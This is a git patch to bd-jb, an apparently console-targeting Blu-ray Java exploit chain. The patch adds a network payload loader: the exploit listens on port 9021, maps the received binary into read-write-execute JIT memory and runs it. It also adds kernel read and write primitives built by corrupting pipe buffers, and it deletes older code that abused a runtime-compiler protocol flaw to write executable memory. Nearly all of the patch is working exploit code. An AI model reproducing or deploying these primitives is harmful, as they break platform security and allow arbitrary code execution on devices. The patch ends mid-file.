From b241d36ef656f407577fe1ffab39fa54d3a923fb Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Fri, 6 Dec 2024 13:57:11 +0100 Subject: [PATCH] Add payloader loader and clean up. --- Makefile | 8 +- payload/Makefile | 4 +- payload/linker.ld | 22 +++ payload/linker.x | 14 -- payload/payload.c | 95 ++++++++-- src/com/bdjb/Exploit.java | 39 ++++ src/com/bdjb/Loader.java | 6 +- src/com/bdjb/LoaderXlet.java | 2 +- src/com/bdjb/Payload.java | 133 +++++++++++++ src/com/bdjb/api/API.java | 42 ++--- src/com/bdjb/api/Buffer.java | 2 +- src/com/bdjb/api/KernelAPI.java | 6 +- src/com/bdjb/api/Text.java | 2 +- src/com/bdjb/jit/AbstractJit.java | 114 ------------ src/com/bdjb/jit/JitCompilerReceiverImpl.java | 174 ------------------ src/com/bdjb/jit/JitDefaultImpl.java | 131 ------------- 16 files changed, 315 insertions(+), 479 deletions(-) create mode 100644 payload/linker.ld delete mode 100644 payload/linker.x create mode 100644 src/com/bdjb/Payload.java delete mode 100644 src/com/bdjb/jit/AbstractJit.java delete mode 100644 src/com/bdjb/jit/JitCompilerReceiverImpl.java delete mode 100644 src/com/bdjb/jit/JitDefaultImpl.java diff --git a/Makefile b/Makefile index 8dc2964..0c9bc25 100644 --- a/Makefile +++ b/Makefile @@ -13,20 +13,22 @@ LOADER_CLASSES = \ EXPLOIT_CLASSES = \ $(SRC)/com/bdjb/Exploit.java \ $(SRC)/com/bdjb/Screen.java \ + $(SRC)/com/bdjb/Payload.java \ $(SRC)/com/bdjb/api/API.java \ $(SRC)/com/bdjb/api/KernelAPI.java \ $(SRC)/com/bdjb/api/Buffer.java \ $(SRC)/com/bdjb/api/Text.java \ $(SRC)/com/bdjb/api/Int8.java \ + $(SRC)/com/bdjb/api/Int8Array.java \ $(SRC)/com/bdjb/api/Int16.java \ + $(SRC)/com/bdjb/api/Int16Array.java \ $(SRC)/com/bdjb/api/Int32.java \ + $(SRC)/com/bdjb/api/Int32Array.java \ $(SRC)/com/bdjb/api/Int64.java \ + $(SRC)/com/bdjb/api/Int64Array.java \ $(SRC)/com/bdjb/api/UnsafeInterface.java \ $(SRC)/com/bdjb/api/UnsafeJdkImpl.java \ $(SRC)/com/bdjb/api/UnsafeSunImpl.java \ - $(SRC)/com/bdjb/jit/AbstractJit.java \ - $(SRC)/com/bdjb/jit/JitDefaultImpl.java \ - $(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \ diff --git a/payload/Makefile b/payload/Makefile index c5efb96..7da7361 100644 --- a/payload/Makefile +++ b/payload/Makefile @@ -3,8 +3,8 @@ OBJS = start.o payload.o CC = gcc OBJCOPY = objcopy -CFLAGS = -isystem freebsd-headers/include -Os -fno-stack-protector -LDFLAGS = -T linker.x -nostdlib -nostartfiles +CFLAGS = -DSMP -isystem freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector -fcf-protection=none -fpic -fpie +LDFLAGS = -T linker.ld -nostartfiles -nostdlib all: $(TARGET).bin diff --git a/payload/linker.ld b/payload/linker.ld new file mode 100644 index 0000000..92ef5bc --- /dev/null +++ b/payload/linker.ld @@ -0,0 +1,22 @@ +OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") +OUTPUT_ARCH(i386:x86-64) + +ENTRY(_start) + +PHDRS +{ + text PT_LOAD ; + rodata PT_LOAD ; + data PT_LOAD ; + bss PT_LOAD ; +} + +SECTIONS +{ + .text : { *(.text) } :text + .rodata : { *(.rodata) *(.rodata.*) } :rodata + .data : { *(.data) } :data + .bss : { *(.bss) *(COMMON) } :bss + .shstrtab : { *(.shstrtab) } + /DISCARD/ : { *(*) } +} diff --git a/payload/linker.x b/payload/linker.x deleted file mode 100644 index 7f7482e..0000000 --- a/payload/linker.x +++ /dev/null @@ -1,14 +0,0 @@ -OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") -OUTPUT_ARCH(i386:x86-64) - -ENTRY(_start) - -SECTIONS -{ - . = 0x916300000; - .text : { *(.text .text.*) } - . = 0x916304000; - .rodata : { *(.rodata .rodata.*) } - .data : { *(.data .data.*) } - .bss : { *(.bss .bss.*) } -} diff --git a/payload/payload.c b/payload/payload.c index 542339e..dc95ef2 100644 --- a/payload/payload.c +++ b/payload/payload.c @@ -7,15 +7,17 @@ #include #include -#define LOG_IP "192.168.254.120" +#define LOG_IP "192.168.1.53" #define LOG_PORT 1337 #define LIBC_MODULE_HANDLE 0x2 #define LIBKERNEL_MODULE_HANDLE 0x2001 +#define PAGE_SIZE 0x4000 + typedef int32_t SceKernelModule; -int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp); +void *(*dlsym)(SceKernelModule handle, const char *symbol); // libkernel functions @@ -162,8 +164,7 @@ int vsnprintf(char *restrict str, size_t size, const char *restrict format, } void resolve_imports(void) { -#define LIBKERNEL_RESOLVE(name) \ - sceKernelDlsym(LIBKERNEL_MODULE_HANDLE, #name, (void **)&_##name) +#define LIBKERNEL_RESOLVE(name) _##name = dlsym(LIBKERNEL_MODULE_HANDLE, #name) LIBKERNEL_RESOLVE(__error); LIBKERNEL_RESOLVE(accept); LIBKERNEL_RESOLVE(bind); @@ -177,18 +178,17 @@ void resolve_imports(void) { LIBKERNEL_RESOLVE(write); #undef LIBKERNEL_RESOLVE -#define LIBC_RESOLVE(name) \ - sceKernelDlsym(LIBC_MODULE_HANDLE, #name, (void **)&_##name) +#define LIBC_RESOLVE(name) _##name = dlsym(LIBC_MODULE_HANDLE, #name) LIBC_RESOLVE(calloc); LIBC_RESOLVE(fclose); LIBC_RESOLVE(fopen); LIBC_RESOLVE(fread); // LIBC_RESOLVE(free); - sceKernelDlsym(LIBC_MODULE_HANDLE, "free", (void **)&free); + free = dlsym(LIBC_MODULE_HANDLE, "free"); LIBC_RESOLVE(fseek); LIBC_RESOLVE(ftell); // LIBC_RESOLVE(malloc); - sceKernelDlsym(LIBC_MODULE_HANDLE, "malloc", (void **)&malloc); + malloc = dlsym(LIBC_MODULE_HANDLE, "malloc"); LIBC_RESOLVE(memcpy); LIBC_RESOLVE(memset); LIBC_RESOLVE(realloc); @@ -220,6 +220,7 @@ int printf(const char *__restrict fmt, ...) { int puts(const char *str) { write(log_sock, str, strlen(str)); + write(log_sock, "\n", 1); return 0; } @@ -249,10 +250,82 @@ int init_log(void) { void shutdown_log(void) { close(log_sock); } -int payload(void *dlsym) { +typedef struct { + void *dlsym; + uint64_t kaslr_offset; + int *master_pipe_fd; + int *victim_pipe_fd; +} PayloadArgs; + +PayloadArgs *payload_args; + +struct pipebuf { + uint32_t cnt; + uint32_t in; + uint32_t out; + uint32_t size; + uintptr_t buffer; +}; + +int corrupt_pipebuf(uint32_t cnt, uint32_t in, uint32_t out, uint32_t size, + uintptr_t buffer) { + struct pipebuf buf = {}; + buf.cnt = cnt; + buf.in = in; + buf.out = out; + buf.size = size; + buf.buffer = buffer; + write(payload_args->master_pipe_fd[1], &buf, sizeof(buf)); + return read(payload_args->master_pipe_fd[0], &buf, sizeof(buf)); +} + +int kread(void *dest, uintptr_t src, size_t n) { + corrupt_pipebuf(n, 0, 0, PAGE_SIZE, src); + return read(payload_args->victim_pipe_fd[0], dest, n); +} + +int kwrite(uintptr_t dest, const void *src, size_t n) { + corrupt_pipebuf(0, 0, 0, PAGE_SIZE, dest); + return write(payload_args->victim_pipe_fd[1], src, n); +} + +uint8_t kread8(uintptr_t addr) { + uint8_t val = 0; + kread(&val, addr, sizeof(val)); + return val; +} + +uint16_t kread16(uintptr_t addr) { + uint16_t val = 0; + kread(&val, addr, sizeof(val)); + return val; +} + +uint32_t kread32(uintptr_t addr) { + uint32_t val = 0; + kread(&val, addr, sizeof(val)); + return val; +} + +uint64_t kread64(uintptr_t addr) { + uint64_t val = 0; + kread(&val, addr, sizeof(val)); + return val; +} + +void kwrite8(uintptr_t addr, uint8_t val) { kwrite(addr, &val, sizeof(val)); } + +void kwrite16(uintptr_t addr, uint16_t val) { kwrite(addr, &val, sizeof(val)); } + +void kwrite32(uintptr_t addr, uint32_t val) { kwrite(addr, &val, sizeof(val)); } + +void kwrite64(uintptr_t addr, uint64_t val) { kwrite(addr, &val, sizeof(val)); } + +int payload(PayloadArgs *args) { int ret; - sceKernelDlsym = dlsym; + payload_args = args; + dlsym = args->dlsym; resolve_imports(); @@ -260,7 +333,7 @@ int payload(void *dlsym) { if (ret < 0) return errno; - printf("payload entered\n"); + printf("[+] Payload entered\n"); shutdown_log(); diff --git a/src/com/bdjb/Exploit.java b/src/com/bdjb/Exploit.java index 9daa0ce..7aa8965 100644 --- a/src/com/bdjb/Exploit.java +++ b/src/com/bdjb/Exploit.java @@ -11,9 +11,15 @@ import com.bdjb.exploit.kernel.ExploitKernelInterface; import com.bdjb.exploit.sandbox.ExploitDefaultImpl; import com.bdjb.exploit.sandbox.ExploitSandboxInterface; import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; import java.lang.reflect.Method; +import java.net.ServerSocket; +import java.net.Socket; public class Exploit { + private static final int PAYLOAD_PORT = 9021; + public static void main(Method screenPrintln) { Screen.setRemotePrintln(screenPrintln); Screen.println("[*] Escaping Java Sandbox..."); @@ -51,5 +57,38 @@ public class Exploit { continue; } } + + while (true) { + try { + Screen.println("[*] Listening for payload on port " + PAYLOAD_PORT + "..."); + + ServerSocket serverSocket = new ServerSocket(PAYLOAD_PORT); + Socket socket = serverSocket.accept(); + InputStream inputStream = socket.getInputStream(); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + + byte[] buf = new byte[8192]; + int total = 0; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + total += read; + } + + inputStream.close(); + socket.close(); + serverSocket.close(); + + Screen.println("[+] Received " + total + " bytes"); + + Screen.println("[*] Launching payload..."); + Payload payload = new Payload(outputStream.toByteArray()); + int ret = payload.execute(); + + Screen.println("[*] Payload exited: " + Integer.toHexString(ret)); + } catch (Exception e) { + Screen.println("[-] Error: " + e.getMessage()); + } + } } } diff --git a/src/com/bdjb/Loader.java b/src/com/bdjb/Loader.java index b1c77c2..855902c 100644 --- a/src/com/bdjb/Loader.java +++ b/src/com/bdjb/Loader.java @@ -25,7 +25,7 @@ class Loader implements Runnable { private static final int JAR_PORT = 9025; - static void startJarLoader() { + static void startLoader() { new Thread(new Loader()).start(); } @@ -33,9 +33,9 @@ class Loader implements Runnable { Screen.println("[+] bd-jb by theflow"); while (true) { - Screen.println("[*] Listening for JAR on port " + JAR_PORT + "..."); - try { + Screen.println("[*] Listening for JAR on port " + JAR_PORT + "..."); + ServerSocket serverSocket = new ServerSocket(JAR_PORT); Socket socket = serverSocket.accept(); InputStream inputStream = socket.getInputStream(); diff --git a/src/com/bdjb/LoaderXlet.java b/src/com/bdjb/LoaderXlet.java index ad29dd7..2f69e4f 100644 --- a/src/com/bdjb/LoaderXlet.java +++ b/src/com/bdjb/LoaderXlet.java @@ -29,7 +29,7 @@ public class LoaderXlet implements Xlet { public void startXlet() { screen.setVisible(true); scene.setVisible(true); - Loader.startJarLoader(); + Loader.startLoader(); } public void pauseXlet() { diff --git a/src/com/bdjb/Payload.java b/src/com/bdjb/Payload.java new file mode 100644 index 0000000..a64e0d7 --- /dev/null +++ b/src/com/bdjb/Payload.java @@ -0,0 +1,133 @@ +/* + * Copyright (C) 2021-2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.bdjb.api.API; +import com.bdjb.api.Buffer; +import com.bdjb.api.KernelAPI; +import com.bdjb.api.Int32; +import com.bdjb.api.Text; + +public class Payload { + private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL = + "sceKernelJitCreateSharedMemory"; + private static final String MMAP_SYMBOL = "mmap"; + private static final String MUNMAP_SYMBOL = "munmap"; + private static final String CLOSE_SYMBOL = "close"; + private static final String DLSYM_SYMBOL = "dlsym"; + + private static final int LIBPROSPERO_WRAPPER_MODULE_HANDLE = 0x3D; + + private static final int PROT_READ = 0x1; + private static final int PROT_WRITE = 0x2; + private static final int PROT_EXEC = 0x4; + + private static final int MAP_SHARED = 0x1; + + private static final long MAP_FAILED = -1; + + private static final int ALIGNMENT = 0x100000; + + private static final API api; + private static final KernelAPI kapi = KernelAPI.getInstance(); + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + private final long sceKernelJitCreateSharedMemory; + private final long mmap; + private final long munmap; + private final long close; + + private final byte[] payload; + + public Payload(byte[] payload) { + sceKernelJitCreateSharedMemory = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL); + mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL); + munmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MUNMAP_SYMBOL); + close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL); + if (sceKernelJitCreateSharedMemory == 0 || mmap == 0 || munmap == 0 || close == 0) { + throw new InternalError("symbols not found"); + } + + this.payload = payload; + } + + private int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) { + return (int) + api.call( + sceKernelJitCreateSharedMemory, + name.address(), + len, + maxProt, + fdOut != null ? fdOut.address() : 0); + } + + private long mmap(long addr, long len, int prot, int flags, int fd, long offset) { + return api.call(mmap, addr, len, prot, flags, fd, offset); + } + + private int munmap(long addr, long len) { + return (int) api.call(munmap, addr, len); + } + + private int close(int fd) { + return (int) api.call(close, fd); + } + + private long align(long x, long align) { + return (x + align - 1) & -align; + } + + public int execute() { + long alignedSize = align(payload.length, ALIGNMENT); + + Int32 handle = new Int32(); + + // Create JIT handle. + if (sceKernelJitCreateSharedMemory( + new Text("payload"), alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, handle) + != 0) { + throw new InternalError("sceKernelJitCreateSharedMemory failed"); + } + + // Map payload. + long rwx = + mmap(0, alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, handle.get(), 0); + if (rwx == MAP_FAILED) { + throw new InternalError("mmap failed"); + } + + // Copy in payload. + api.memcpy(rwx, payload, payload.length); + + // Close JIT handle. + close(handle.get()); + + // Prepare arguments. + Buffer args = new Buffer(0x20); + args.putLong(0x00, api.dlsym(LIBPROSPERO_WRAPPER_MODULE_HANDLE, DLSYM_SYMBOL)); + args.putLong(0x08, kapi.getKaslrOffset()); + args.putLong(0x10, kapi.getMasterPipeFd().address()); + args.putLong(0x18, kapi.getVictimPipeFd().address()); + + // Execute payload. + int ret = (int) api.call(rwx, args.address()); + + // Unmap payload. + munmap(rwx, alignedSize); + + return ret; + } +} diff --git a/src/com/bdjb/api/API.java b/src/com/bdjb/api/API.java index 8f6b41d..8c282e4 100644 --- a/src/com/bdjb/api/API.java +++ b/src/com/bdjb/api/API.java @@ -45,9 +45,9 @@ public final class API { private static final int ARRAY_BASE_OFFSET = 0x18; - private static API instance; + private static final ThreadLocal callContexts = new ThreadLocal(); - private static ThreadLocal callContexts = new ThreadLocal(); + private static API instance; private UnsafeInterface unsafe; @@ -133,7 +133,7 @@ public final class API { __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); if (__Ux86_64_setcontext == 0) { // In earlier versions, there's a bug where only the main executable's handle is used. - executableHandle = JVM_NativePath & ~(4 - 1); + executableHandle = JVM_NativePath & -4; while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) { executableHandle += 4; } @@ -183,8 +183,8 @@ public final class API { long constants = read64(constMethod + 0x08); short nameIndex = read16(constMethod + 0x2A); short signatureIndex = read16(constMethod + 0x2C); - long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); - long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2; + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2; short nameLength = read16(nameSymbol + 0x00); short signatureLength = read16(signatureSymbol + 0x00); @@ -207,8 +207,8 @@ public final class API { long constants = read64(method + 0x18); short nameIndex = read16(constMethod + 0x42); short signatureIndex = read16(constMethod + 0x44); - long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); - long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2; + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2; short nameLength = read16(nameSymbol + 0x08); short signatureLength = read16(signatureSymbol + 0x08); @@ -601,21 +601,20 @@ public final class API { } class CallContext { - long[] fakeClassOop; - long[] fakeClass; - long[] fakeKlass; - long[] fakeKlassVtable; + final long[] fakeClassOop; + final long[] fakeClass; + final long[] fakeKlass; + final long[] fakeKlassVtable; - long fakeClassOopAddr; - long fakeClassAddr; - long fakeKlassAddr; - long fakeKlassVtableAddr; + final long fakeClassOopAddr; + final long fakeClassAddr; + final long fakeKlassAddr; + final long fakeKlassVtableAddr; - private long[][] callContextArray = new long[4][0]; - private long callcontextBuffer; + private final long callContextBuffer; CallContext() { - callcontextBuffer = + callContextBuffer = malloc( ARRAY_BASE_OFFSET + Int64.SIZE @@ -625,12 +624,12 @@ public final class API { + 0x200 + ARRAY_BASE_OFFSET + 0x400); - if (callcontextBuffer == 0) { + if (callContextBuffer == 0) { throw new OutOfMemoryError("malloc failed"); } // Get array addresses. - fakeClassOopAddr = callcontextBuffer + ARRAY_BASE_OFFSET; + fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET; fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET; fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET; fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET; @@ -655,6 +654,7 @@ public final class API { write64(fakeKlassAddr - 8, 0xFFFFFFFF); write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF); + long[][] callContextArray = new long[4][0]; long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET; // Put array addresses into callContextArray. @@ -688,7 +688,7 @@ public final class API { } protected void finalize() { - free(callcontextBuffer); + free(callContextBuffer); } } } diff --git a/src/com/bdjb/api/Buffer.java b/src/com/bdjb/api/Buffer.java index 4b76735..3beed3e 100644 --- a/src/com/bdjb/api/Buffer.java +++ b/src/com/bdjb/api/Buffer.java @@ -27,7 +27,7 @@ public class Buffer { this.size = size; } - public void finalize() { + protected void finalize() { api.free(address); } diff --git a/src/com/bdjb/api/KernelAPI.java b/src/com/bdjb/api/KernelAPI.java index c199289..d9bc1dc 100644 --- a/src/com/bdjb/api/KernelAPI.java +++ b/src/com/bdjb/api/KernelAPI.java @@ -34,6 +34,9 @@ public class KernelAPI { } } + private final Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE); + private final Buffer tmp = new Buffer(PAGE_SIZE); + private long pipe; private long read; private long write; @@ -50,9 +53,6 @@ public class KernelAPI { private int victimRpipeFd; private int victimWpipeFd; - private Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE); - private Buffer tmp = new Buffer(PAGE_SIZE); - private KernelAPI() { this.init(); } diff --git a/src/com/bdjb/api/Text.java b/src/com/bdjb/api/Text.java index 08ff9c7..2cdaf20 100644 --- a/src/com/bdjb/api/Text.java +++ b/src/com/bdjb/api/Text.java @@ -8,7 +8,7 @@ package com.bdjb.api; public class Text extends Buffer { - private String text; + private final String text; public Text(String text) { super(text.length() + 1); diff --git a/src/com/bdjb/jit/AbstractJit.java b/src/com/bdjb/jit/AbstractJit.java deleted file mode 100644 index 6974586..0000000 --- a/src/com/bdjb/jit/AbstractJit.java +++ /dev/null @@ -1,114 +0,0 @@ -/* - * Copyright (C) 2021-2024 Andy Nguyen - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ - -package com.bdjb.jit; - -import com.bdjb.api.API; -import java.io.RandomAccessFile; - -abstract class AbstractJit { - public static final int PROT_NONE = 0x0; - public static final int PROT_READ = 0x1; - public static final int PROT_WRITE = 0x2; - public static final int PROT_EXEC = 0x4; - - public static final int MAP_SHARED = 0x1; - public static final int MAP_PRIVATE = 0x2; - public static final int MAP_FIXED = 0x10; - public static final int MAP_ANONYMOUS = 0x1000; - - public static final long MAP_FAILED = -1; - - public static final int PAGE_SIZE = 0x4000; - public static final int ALIGNMENT = 0x100000; - - protected static final int CHUNK_SIZE = 0x30; - - protected static final API api; - - private static final String MMAP_SYMBOL = "mmap"; - - static { - try { - api = API.getInstance(); - } catch (Exception e) { - throw new ExceptionInInitializerError(e); - } - } - - protected long mmap; - - protected AbstractJit() { - mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL); - if (mmap == 0) { - throw new InternalError("symbols not found"); - } - } - - protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) { - return api.call(mmap, addr, len, prot, flags, fd, offset); - } - - protected long align(long x, long align) { - return (x + align - 1) & ~(align - 1); - } - - protected abstract long jitMap(long size, long alignment); - - protected abstract void jitCopy(long dest, byte[] src, long n); - - public long mapPayload(String path, long dataSectionOffset) throws Exception { - RandomAccessFile file = new RandomAccessFile(path, "r"); - - if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) { - throw new IllegalArgumentException("unaligned data section offset"); - } - - if (dataSectionOffset < 0 || dataSectionOffset > file.length()) { - throw new IllegalArgumentException("invalid data section offset"); - } - - // Allocate JIT memory. - long address = jitMap(file.length(), ALIGNMENT); - - byte[] chunk = new byte[CHUNK_SIZE]; - - // Copy .text section. - for (long i = 0; i < dataSectionOffset; i += chunk.length) { - api.memset(chunk, 0, chunk.length); - - file.seek(i); - int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length)); - - jitCopy(address + i, chunk, read); - } - - // Map the .data section as RW. - if (mmap( - address + dataSectionOffset, - align(file.length() - dataSectionOffset, PAGE_SIZE), - PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, - -1, - 0) - == MAP_FAILED) { - throw new InternalError("mmap failed"); - } - - // Copy .data section. - for (long i = dataSectionOffset; i < file.length(); i += chunk.length) { - api.memset(chunk, 0, chunk.length); - - file.seek(i); - int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length)); - - api.memcpy(address + i, chunk, read); - } - - return address; - } -} diff --git a/src/com/bdjb/jit/JitCompilerReceiverImpl.java b/src/com/bdjb/jit/JitCompilerReceiverImpl.java deleted file mode 100644 index 4240116..0000000 --- a/src/com/bdjb/jit/JitCompilerReceiverImpl.java +++ /dev/null @@ -1,174 +0,0 @@ -/* - * Copyright (C) 2021-2024 Andy Nguyen - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ - -package com.bdjb.jit; - -import com.bdjb.api.API; -import com.bdjb.api.Buffer; -import com.bdjb.api.Int8; -import com.bdjb.api.Text; - -/** - * JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to - * executable memory. - */ -public final class JitCompilerReceiverImpl extends AbstractJit { - // We actually have 32MB of code memory, but reserve 8MB for Java JIT. - public static final int MAX_CODE_SIZE = 24 * 1024 * 1024; - - private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; - - private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58; - - private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA; - - private static final byte[] BUFFER_BLOB_CREATE_SEQ = { - (byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F - }; - - private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = { - (byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41 - }; - - private static final int BDJ_MODULE_HANDLE = 0; - - private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo"; - private static final String WRITE_SYMBOL = "write"; - private static final String READ_SYMBOL = "read"; - - private static JitCompilerReceiverImpl instance; - - private long sceKernelGetModuleInfo; - private long read; - private long write; - private long BufferBlob__create; - - private int compilerAgentSocket; - - private JitCompilerReceiverImpl() { - this.init(); - } - - public static synchronized JitCompilerReceiverImpl getInstance() { - if (instance == null) { - instance = new JitCompilerReceiverImpl(); - } - return instance; - } - - private void init() { - initSymbols(); - initJitHelpers(); - } - - private void initSymbols() { - sceKernelGetModuleInfo = - api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); - read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); - write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); - - if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { - throw new InternalError("symbols not found"); - } - } - - private void initJitHelpers() { - Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE); - modinfo.fill((byte) 0); - modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE); - if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) { - throw new InternalError("sceKernelGetModuleInfo failed"); - } - - long bdjBase = modinfo.getLong(0x108); - int bdjSize = modinfo.getInt(0x110); - - int i = 0; - while (i < bdjSize - && api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) { - i++; - } - if (i == bdjSize) { - throw new InternalError("BufferBlob::create not found"); - } - BufferBlob__create = bdjBase + i - 0x21; - - i = 0; - while (i < bdjSize - && api.memcmp( - bdjBase + i, - COMPILER_AGENT_SENDER_THREAD_SEQ, - COMPILER_AGENT_SENDER_THREAD_SEQ.length) - != 0) { - i++; - } - if (i == bdjSize) { - throw new InternalError("compiler agent socket not found"); - } - long compilerAgentSocketOpcode = bdjBase + i - 0x10; - compilerAgentSocket = - api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); - } - - int sceKernelGetModuleInfo(int modid, Buffer info) { - return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0); - } - - long write(int fd, Buffer buf, long nbytes) { - return api.call(write, fd, buf != null ? buf.address() : 0, nbytes); - } - - long read(int fd, Buffer buf, long nbytes) { - return api.call(read, fd, buf != null ? buf.address() : 0, nbytes); - } - - long BufferBlob__create(Text name, int buffer_size) { - return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size); - } - - protected long jitMap(long size, long alignment) { - if (size >= MAX_CODE_SIZE) { - throw new IllegalArgumentException("size too big"); - } - long blob = - BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE))); - if (blob == 0) { - throw new OutOfMemoryError("BufferBlob__create failed"); - } - long code = blob + api.read32(blob + 0x20); - return align(code, alignment); - } - - protected void jitCopy(long dest, byte[] src, long n) { - Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE); - Int8 resp = new Int8(); - - byte[] chunk = new byte[CHUNK_SIZE]; - - for (long i = 0; i < n; i += chunk.length) { - api.memset(chunk, 0, chunk.length); - - System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length)); - - req.fill((byte) 0); - req.put(0x00, chunk); - req.putLong(0x38, dest + i - 0x28); - if (write(compilerAgentSocket, req, req.size()) != req.size()) { - throw new InternalError("write failed"); - } - - resp.set((byte) 0); - if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) { - throw new InternalError("read failed"); - } - - if (resp.get() != ACK_MAGIC_NUMBER) { - throw new AssertionError("wrong compiler response"); - } - } - } -} diff --git a/src/com/bdjb/jit/JitDefaultImpl.java b/src/com/bdjb/jit/JitDefaultImpl.java deleted file mode 100644 index bd27e40..0000000 --- a/src/com/bdjb/jit/JitDefaultImpl.java +++ /dev/null @@ -1,131 +0,0 @@ -/* - * Copyright (C) 2021-2024 Andy Nguyen - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ - -package com.bdjb.jit; - -import com.bdjb.api.API; -import com.bdjb.api.Buffer; -import com.bdjb.api.Int32; -import com.bdjb.api.Int64; -import com.bdjb.api.Text; - -/** Default JIT implementation using SCE API. */ -public final class JitDefaultImpl extends AbstractJit { - private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL = - "sceKernelJitCreateSharedMemory"; - private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL = - "sceKernelJitCreateAliasOfSharedMemory"; - private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL = - "sceKernelJitMapSharedMemory"; - - private static JitDefaultImpl instance; - - private long sceKernelJitCreateSharedMemory; - private long sceKernelJitCreateAliasOfSharedMemory; - private long sceKernelJitMapSharedMemory; - - private Int32 sharedHandle = new Int32(); - private Int32 aliasHandle = new Int32(); - - private long rx; - private long rw; - - private JitDefaultImpl() { - sceKernelJitCreateSharedMemory = - api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL); - sceKernelJitCreateAliasOfSharedMemory = - api.dlsym(API.LIBKERNEL_MODULE_HANDLE, 